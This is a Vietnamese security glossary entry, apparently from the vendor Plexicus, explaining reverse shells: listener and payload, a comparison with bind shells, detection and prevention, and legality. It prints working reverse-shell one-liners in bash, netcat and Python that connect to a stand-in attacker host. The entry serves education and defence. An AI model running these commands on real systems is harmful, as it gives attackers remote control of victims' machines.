Thuật ngữ Reverse Shell

Reverse Shell

TL;DR: Reverse Shell

Một reverse shell, còn được gọi là connect-back shell, là khi một hệ thống bị xâm nhập kết nối với kẻ tấn công và cung cấp cho họ một phiên dòng lệnh trực tiếp.

Tại sao điều này quan trọng?

  • Reverse shells có thể vượt qua tường lửa vì hầu hết các tường lửa chặn các kết nối đến nhưng cho phép các kết nối đi ra ngoài.
  • Kẻ tấn công có được quyền kiểm soát thực sự vì họ có thể chạy các lệnh giống như họ đang đăng nhập trực tiếp.
  • Reverse shells rất phổ biến vì chúng là một bước tiêu chuẩn sau khi kẻ tấn công khai thác một hệ thống.

Hãy tưởng tượng theo cách này: thay vì kẻ tấn công cố gắng xâm nhập, họ lừa máy chủ kết nối với họ.

Reverse Shell là gì?

Reverse shell là một shell từ xa nơi máy tính của nạn nhân bắt đầu kết nối với máy tính của kẻ tấn công.

Thông thường, máy tính của bạn bắt đầu kết nối, giống như khi bạn truy cập một trang web. Với reverse shell, điều này bị đảo ngược. Sau khi kẻ tấn công tìm ra cách chạy mã, máy chủ kết nối ngược lại với kẻ tấn công.

Một cách dễ nhớ:

  • Bind shell: Bạn cố gắng kết nối với máy chủ. Nếu tường lửa chặn bạn, bạn không thể vượt qua.
  • Reverse shell: Máy chủ kết nối với bạn. Vì các kết nối đi ra ngoài thường được cho phép, bạn có thể trả lời và kiểm soát.

Tại sao Reverse Shells quan trọng

Các đội ngũ bảo mật thường tập trung vào các biện pháp phòng thủ như tường lửa, bộ cân bằng tải và giới hạn cổng. Những biện pháp này hoạt động cho đến khi kẻ tấn công quản lý để chạy mã bên trong hệ thống.

Khi điều đó xảy ra, reverse shell trở thành cách chính của kẻ tấn công để duy trì trong hệ thống.

Tại sao điều này nguy hiểm:

  • Lưu lượng truy cập ra ngoài được tin cậy.

    Tường lửa thường cho phép lưu lượng truy cập ra ngoài trên các cổng như 80 hoặc 443 cho các bản cập nhật và API. Shell ngược có thể ẩn trong lưu lượng truy cập được phép này.

  • Kẻ tấn công có thể duy trì quyền truy cập.

    Ngay cả khi lỗ hổng bảo mật ban đầu được khắc phục, một shell đang hoạt động vẫn có thể cho phép kẻ tấn công kiểm soát hệ thống.

  • Nó cho phép di chuyển ngang.

    Với một shell, kẻ tấn công có thể tìm kiếm xung quanh mạng nội bộ, đánh cắp mật khẩu và di chuyển sang các máy tính khác. Một lỗ hổng có thể nhanh chóng dẫn đến việc toàn bộ môi trường bị xâm phạm.

Cách hoạt động của Shell Ngược

Một shell ngược có hai phần chính: listenerpayload.

1. Listener (Phía Kẻ Tấn Công)

Kẻ tấn công sử dụng một chương trình chờ kết nối. Netcat là một công cụ phổ biến cho việc này.

nc -lvnp 4444

Lệnh này yêu cầu máy tính của kẻ tấn công lắng nghe trên cổng 4444 và chờ kết nối.

2. Payload (Phía Nạn Nhân)

Sau khi tìm thấy một lỗ hổng như Thực thi Mã Từ Xa, kẻ tấn công chạy một lệnh trên máy chủ của nạn nhân để mở một shell và gửi nó trở lại.

bash -i >& /dev/tcp/attacker-ip/4444 0>&1

Lệnh này khởi động một shell bash và gửi tất cả đầu vào và đầu ra đến máy tính của kẻ tấn công.

3. Kết Nối

Máy chủ của nạn nhân bắt đầu một kết nối ra ngoài. Tường lửa thấy điều này là bình thường và cho phép nó. Listener của kẻ tấn công chấp nhận kết nối, cho phép kẻ tấn công có một shell trực tiếp trên máy chủ.

Tại giai đoạn này, kẻ tấn công có quyền kiểm soát tương tác đầy đủ đối với máy chủ.

Các Ví Dụ Shell Ngược Phổ Biến

Kẻ tấn công và hacker đạo đức điều chỉnh cách tiếp cận của họ dựa trên những công cụ có sẵn trên hệ thống mục tiêu.

Bash (Phổ biến trên Linux)

bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

Netcat

Được sử dụng khi Netcat có sẵn trên máy mục tiêu.

nc -e /bin/sh 10.0.0.1 4444

Python

Python rất phổ biến trên các máy chủ hiện đại.

python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'

Shell đảo ngược vs Shell kết nối

Biết sự khác biệt giữa shell đảo ngược và shell kết nối giúp bảo vệ mạng.

Tính năngShell kết nốiShell đảo ngược
Hướng kết nốiKẻ tấn công đến Nạn nhânNạn nhân đến Kẻ tấn công
Ảnh hưởng tường lửaThường bị chặnThường được phép
Yêu cầu mạngCần truy cập trực tiếpHoạt động qua NAT và tường lửa
Trường hợp sử dụng điển hìnhMạng nội bộTấn công thực tế

Ai sử dụng Shell đảo ngược?

  • Người kiểm tra xâm nhập sử dụng shell đảo ngược để chứng minh rằng một lỗ hổng có thể dẫn đến việc xâm nhập toàn bộ hệ thống.
  • Các đội đỏ sử dụng shell đảo ngược để kiểm tra mức độ kiểm soát lưu lượng ra ngoài.
  • Các tác nhân độc hại sử dụng shell đảo ngược để triển khai ransomware, đánh cắp dữ liệu, hoặc tiến sâu hơn vào mạng.
  • Quản trị viên hệ thống hiếm khi sử dụng shell đảo ngược để truy cập từ xa. Họ thường thích các đường hầm SSH an toàn.

Phát hiện và Phòng ngừa

Ngăn chặn shell đảo ngược cần nhiều lớp phòng thủ.

  • Lọc lưu lượng truy cập ra ngoài

    Máy chủ không nên có quyền truy cập mở vào internet. Hạn chế các điểm đến và cổng mà chúng có thể sử dụng.

  • Giám sát hành vi

    Một máy chủ web khởi tạo một tiến trình shell, chẳng hạn như /bin/bash hoặc cmd.exe, là rất đáng ngờ.

  • Giảm bề mặt tấn công.

    Loại bỏ các công cụ không sử dụng như Netcat, trình biên dịch, và các trình thông dịch thừa khỏi hệ thống sản xuất.

Thuật ngữ liên quan

  • Thực thi mã từ xa (RCE)
  • Bind Shell

Câu hỏi thường gặp: Reverse Shell

Reverse shell có hợp pháp không?

Reverse shells chỉ hợp pháp nếu bạn sử dụng chúng trên các hệ thống bạn sở hữu hoặc có sự cho phép rõ ràng để kiểm tra. Sử dụng chúng mà không có sự cho phép là bất hợp pháp.

Tại sao tường lửa cho phép reverse shells?

Tường lửa được xây dựng để chặn các mối đe dọa đến và thường tin tưởng vào lưu lượng truy cập ra ngoài. Reverse shells lợi dụng điều này.

Phần mềm diệt virus có thể phát hiện reverse shells không?

Đôi khi. Phần mềm diệt virus sử dụng chữ ký có thể tìm thấy các chương trình shell đã biết, nhưng các shell không có tệp được tạo bằng Bash hoặc Python khó phát hiện hơn nhiều.

Sự khác biệt giữa reverse shell và webshell là gì?

Webshell được sử dụng thông qua trình duyệt và thường ở lại trên hệ thống, nhưng có các tính năng hạn chế. Reverse shell cung cấp một phiên dòng lệnh tương tác trực tiếp.

Bước Tiếp Theo

Sẵn sàng bảo mật ứng dụng của bạn? Chọn con đường của bạn phía trước.

Tham gia cùng hơn 500 công ty đã bảo mật ứng dụng của họ với Plexicus

SOC 2 Compliant
ISO 27001 Certified
Enterprise Ready